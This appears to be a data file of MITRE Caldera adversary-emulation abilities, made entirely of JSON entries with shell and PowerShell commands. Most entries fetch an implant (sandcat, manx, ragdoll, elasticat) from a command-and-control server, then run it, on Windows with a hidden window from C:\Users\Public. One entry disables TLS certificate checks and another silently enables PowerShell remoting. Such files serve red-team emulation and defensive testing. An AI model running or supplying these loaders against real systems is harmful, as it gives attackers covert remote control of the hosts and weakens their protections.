Caldera emulation abilities

[{"platform": "darwin", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:elasticat.py\" -H \"platform:darwin\" $server/file/download > elasticat.py;\npip install requests;\npython elasticat.py --server=$server --es-host=\"http://127.0.0.1:9200\" --group=blue --minutes-since=60\n"}, {"platform": "linux", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:elasticat.py\" -H \"platform:linux\" $server/file/download > elasticat.py;\npip install requests;\npython elasticat.py --server=$server --es-host=\"http://127.0.0.1:9200\" --group=blue --minutes-since=60\n"}]

[{"platform": "windows", "executor": "psh", "command": "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };\n$web = (New-Object System.Net.WebClient);\n$result = $web.DownloadFile(\"https://download.sysinternals.com/files/PSTools.zip\", \"PSTools.zip\");\nNew-Item -ItemType \"directory\" C:\\Windows\\System32\\PSTools -Force;\nAdd-Type -Assembly 'System.IO.Compression.FileSystem'; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"PSTools.zip\", \"C:\\Windows\\System32\\PSTools\");\n"}]

[{"platform": "windows", "executor": "psh", "command": "$wc=New-Object System.Net.WebClient;\n$output=\"PowerShellCore.msi\";\n$wc.DownloadFile(\"https://github.com/PowerShell/PowerShell/releases/download/v6.2.2/PowerShell-6.2.2-win-x64.msi\", $output);\nStart-Process msiexec.exe -ArgumentList \"/package PowerShellCore.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1\" -Wait;\n$env:Path += \";C:\\Program Files\\Powershell\\6\";\nStart-Process pwsh -ArgumentList \"-c #{location} -server #{server} - group #{group}\" -WindowStyle hidden;\n"}]

[{"platform": "darwin", "executor": "sh", "command": "server=\"#{app.contact.http}\";\nsocket=\"#{app.contact.tcp}\";\ncontact=\"tcp\";\ncurl -s -X POST -H \"file:manx.go\" -H \"platform:darwin\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -http $server -socket $socket -contact $contact -v\n"}, {"platform": "linux", "executor": "sh", "command": "server=\"#{app.contact.http}\";\nsocket=\"#{app.contact.tcp}\";\ncontact=\"tcp\";\ncurl -s -X POST -H \"file:manx.go\" -H \"platform:linux\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -http $server -socket $socket -contact $contact -v\n"}, {"platform": "windows", "executor": "psh", "command": "if ($host.Version.Major -ge 3){$ErrAction= \"ignore\"}else{$ErrAction= \"SilentlyContinue\"};\n$server=\"#{app.contact.http}\";\n$socket=\"#{app.contact.tcp}\";\n$contact=\"tcp\";\n$url=\"$server/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"manx.go\");\n$data=$wc.DownloadData($url);\nGet-Process | ? {$_.Path -like \"C:\\Users\\Public\\#{agents.implant_name}.exe\"} | stop-process -f -ea $ErrAction;\nrm -force \"C:\\Users\\Public\\#{agents.implant_name}.exe\" -ea $ErrAction;\n([io.file]::WriteAllBytes(\"C:\\Users\\Public\\#{agents.implant_name}.exe\",$data)) | Out-Null;\nStart-Process -FilePath C:\\Users\\Public\\#{agents.implant_name}.exe -ArgumentList \"-socket $socket -http $server -contact $contact\" -WindowStyle hidden;\n"}]

[{"platform": "darwin", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:ragdoll.py\" -H \"platform:darwin\" $server/file/download > ragdoll.py;\npip install requests beautifulsoup4;\npython ragdoll.py -W $server#{app.contact.html}\n"}, {"platform": "linux", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:ragdoll.py\" -H \"platform:linux\" $server/file/download > ragdoll.py;\npip install requests beautifulsoup4;\npython ragdoll.py -W $server#{app.contact.html}\n"}]

[{"platform": "darwin", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:sandcat.go\" -H \"platform:darwin\" -H \"architecture:amd64\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -server $server -v\n"}, {"platform": "linux", "executor": "sh", "command": "server=\"#{app.contact.http}\";\ncurl -s -X POST -H \"file:sandcat.go\" -H \"platform:linux\" $server/file/download > #{agents.implant_name};\nchmod +x #{agents.implant_name};\n./#{agents.implant_name} -server $server -group red -v\n"}, {"platform": "windows", "executor": "psh", "command": "$server=\"#{app.contact.http}\";\n$url=\"$server/file/download\";\n$wc=New-Object System.Net.WebClient;\n$wc.Headers.add(\"platform\",\"windows\");\n$wc.Headers.add(\"file\",\"sandcat.go\");\n$data=$wc.DownloadData($url);\nget-process | ? {$_.modules.filename -like \"C:\\Users\\Public\\#{agents.implant_name}.exe\"} | stop-process -f;\nrm -force \"C:\\Users\\Public\\#{agents.implant_name}.exe\" -ea ignore;\n[io.file]::WriteAllBytes(\"C:\\Users\\Public\\#{agents.implant_name}.exe\",$data) | Out-Null;\nStart-Process -FilePath C:\\Users\\Public\\#{agents.implant_name}.exe -ArgumentList \"-server $server -group red\" -WindowStyle hidden;\n"}]